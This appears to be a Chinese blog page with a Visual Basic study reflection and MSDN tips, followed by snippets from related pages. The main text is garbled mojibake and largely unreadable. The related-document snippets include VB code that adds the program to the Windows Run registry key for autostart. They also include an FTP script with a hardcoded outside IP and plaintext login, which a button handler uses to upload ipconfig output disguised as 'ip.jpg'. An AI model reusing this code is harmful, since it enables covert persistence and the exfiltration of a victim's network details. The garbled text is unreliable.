VB°ÙÀý×ܽá(1)
×òÌìÍíÉÏ£¬Ã×ÀÏʦ°ÑÎҽе½°ì¹«ÊÒ¡£ÎÊÎÒѧÁËÒ»ÖܸоõÈçºÎ£¬ÎÒµ±Ê±ºÜº¹ÑÕ¡£Ã×ÀÏʦÉíÌå²»ºÃ£¬µçÄÔ°æ°àô¶àѧÉú£¬Ëû¿ÉÒÔÈÃ×Ô¼ºÇáËÉÒ»µã¶ù£¬µ«ËûûÓС£×÷Ϊ¼¸Ê®¸öѧÉúµÄÃâ·ÑÀÏʦ£¬×öΪÈ˸¸ÈË·ò£¬ÀÏʦÉÐÇÒÖªµÀÎÒѧÁËÒ»ÖܳɹûÔõÑùÄØ£¬µ«ÎÒ×Ô¼ºÈ´Ã»ÓÐÏë¹ý£¬ºÜ²ÑÀ¢¡£·¸ÈκδíÎóµÚÒ»´Î¿ÉÒÔÔÁ£¬µ«¾ø²»Ó¦¸ÃÈÃËü³öÏÖµÚ¶þ´Î£¬Ñ§ÁËÒ»ÖÜ£¬ÎÒ´ÓûÏë¹ýѧµÃÔõÑù£¬Ö»ÊÇһζµØ×ö°ÙÀý£¬Ã»Ôõô˼¿¼¡£ÕâÓÖÈÃÎÒº¹ÑÕ¡£
¾¹ýÃ×ÀÏʦָµã£¬Ðè¸Ä½øµÄÓÐÈý·½Ã棺
1.Óöµ½Ó¢ÎÄËõд£¬¾¿¸ù½áµ×£¬ÕâÑùÈÃ×Ô¼º¼ÇµÃÉî¿Ì£¬ÒÔºó²»ÈÝÒ×·¸´í¡£Àý£ºCstr :³ä·ÖÀí½âC¡¢strµÄÒâ˼¡£C£ºconverseת»» str£ºstring
2¡¢Ñ§Ï°Íê¿Ø¼þºó£¬ÕÒÕÒËûÃǵÄÏàͬµãÓ벻ͬµã¡£ËûÃǶ¼ÓÐʼþ¡¢ÊôÐÔ¡¢·½·¨µÈ£¬¶¼ÊÇÃæÏò¶ÔÏóµÄ¾²Ì¬ÊôÐԺͶ¯Ì¬ÊôÐÔ£ºÓұ߱êÌâ¿òÀïµÄÈ«²¿ÊǾ²Ì¬ÊôÐÔ£¬ËûÃÇÒ²¿ÉÒÔ¶¯Ì¬µ÷Ó㬵«¶¯Ì¬ÊôÐÔÈ´Ö»ÄÜÔÚ´úÂëÖе÷Óá£
3¡¢¾³£Ë¼¿¼Óë×ܽᡣ¸Õ¿ªÊ¼¸Ð¾õºÜǣǿ¸½»á£¬ÒÔºó¿ÉÒÔ±äΪϰ¹ß£¬ÒÔºóÓÖ¿ÉÒÔ·¢Õ¹ÎªÒ»ÖÖ˼Ïë¡£ÉøÍ¸µ½×Ô¼º×öÿһ¼þÊÂÇéÖ®ÖС£µÚÒ»´ÎÓöµ½ÕâÖÖÊÂÇ飬ҲÐí¶¯¶¯ÄÔ×Ó˼¿¼¶àÓÃÁËÎå·ÖÖÓ£¬µ«ÒÔºóÓöµ½Í¬ÑùµÄÊ»áºÜ¶à´Î£¬ÕâʱÄã»á·¢ÏÖЧÂÊ´ó´óµÄÌá¸ßÁË£¬“Ä¥µ¶²»Îó¿³²ñ¹¤”·À»ðÊÇÀË·Ñʱ¼ä£¬µ«Èç¹û²»·À×Ô¼ºµÄÈÕ×ÓÒ²²»»áºÃÊܵģ¬ÒÔºóÕûÌì¾Íæ×žȻðÁË£¬ÄÇʱ»¹²»ÄÜÇëÏû·À¶Ó°ïæÁË¡£
flashÖÐÑϸñµÄÐÎʽtxt1.Text=Cstr(Val(txt2.Text)+Val(txt3.Text))µ½VBÖпƼòÂÔ³Étxt1.Text=Val(txt2.Text)+Val(txt3.Text),VB±ÈflashµÄ¼æÈÝÐÔ½ÏÇ¿£¬µ«ÔÚVBÖбØÐëÑϸñ°´±ê×¼¸ñʽÀ´£¬Õâ¶ùÊÇ×¨ÒµËØÖʵÄÌåÏÖ¡£VBÊÇÃæÏò¶ÔÏóµÄ»ã±àÓïÑÔ£¬¶ÔÏó¿ÉÒÔʹ´°Ìå¡¢¿Ø¼þÒ²¿ÉÒÔÊÇÊý¾Ý¿â£¬ËûÃǶ¼¾ßÓÐÊôÐÔ¡¢Ê¼þ¡¢·½·¨µÈ¡£
¹ØÓÚMSDN£ºÈκÎVBÖеÄÎÊÌâ»ù±¾¶¼¿ÉÒÔÕÒµ½´ð°¸¡£ÔÚË÷ÒýÖÐÊäÈë¹Ø¼ü×Ö£¬½øÐвéÕÒ¡£×ÅÖØ¿´Ò»¸öÊÇ·µ»ØÖµ£¬Ò»¸öÊÇ˵Ã÷£¬Ò»¸öÊÇÀý×Ó£¬Àý×ÓºÜÖØÒª£¬»¹ÓÐÔÙ¿´¿´ÓõÄʱºòÒª°üº¬Ê²Ã´Í·Îļþ¾ÍÐÐÁË¡£
ÎÒ½¨Òé¾³£Ó㬶ÔÒÔºóµÄ¿ÉÊÓ»¯±à³ÌºÜÓкô¦£¬ÒòΪºÜ¶àº¯Êý¶¼µÃ²éÕÒMSDN.
δÍê´ýÐø
Ïà¹ØÎĵµ£º
Private Sub Form_Load()
Set w = CreateObject("wscript.shell")
w.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & App.EXEName, App.Path & "\" & App.EX ......
ftp.txtÎļþÄÚÈÝΪ£º
open 211.118.1.70
dongping
sh12345
put ip.jpg
bye
VBÄÚÈÝΪ£º
Private Sub Command1_Click()
Shell "cmd.exe /c ipconfig >ip.jpg"
Shell "cmd.exe /c ftp -s:ftp.txt"
End Sub ......
Public Function IsValidIPAddress(ByVal strIPAddress As String) As Boolean
On Error GoTo Handler
Dim varAddress As Variant, n As Long, lCount As Long
varAddress = Split(strIPAddress, ".", , vbTextCompare)
If IsArray(varAd ......
×ö±ÏÒµÂÛÎĵÄʱºòÓöµ½µÄÒ»¸öÎÊÌ⣬Çë½Ì¶¹°êÉϵÄÍøÓѲÅÓÐÁ˴𰸡£Ð»Ð»Õâλ½Ð“Òì²Ê”µÄÅóÓÑ¡£ÄóöÀ´Óë´ó¼Ò·ÖÏí¡£
¡¡¡¡ÓÃVB×öͼÏñ´¦ÀíÈí¼þµÄ±ÏÒµÂÛÎÄ£¬Óöµ½Ò»¸öÎÊÌâ¡£¼ÓÔØÒ»·ùͼƬ£¬Óöà¸öÂ˾µ·Ö±ð´¦Àí£¬ÏëÒ»²½Ò»²½UNDOµ½×îÔʼµÄͼÏñ£¬¶à´ÎUNDOÔõôʵÏÖ?
²Î¿¼·½°¸£º
Èç¹ûÏë×öµ½¶à´ÎUND ......
·½çÃæÉè¼Æ±ØÐë±£³ÖÒ»ÖÂ
·Á½¸ö³ÌÐòÖ®¼äµÄÌØÐԾ߱¸¹²ÐÔ
·ºÍwindowsÓ¦ÓóÌÐòµÄ¿ì½Ý¼üÊÇÒ»ÖµÄ
·±à³ÌÔÔò
·Îª´°Ì帳ÓèͳһµÄÍâ¹ÛºÍÐÐÎªÌØÐÔ
·Èç¹û´°ÌåµÄ´óС¸Ä±äʱ£¬Ëü²»¸Ä±äÆäÄÚÈݵĴóС£¬ÄÇô±ß¿ò¾Í²»Ó ......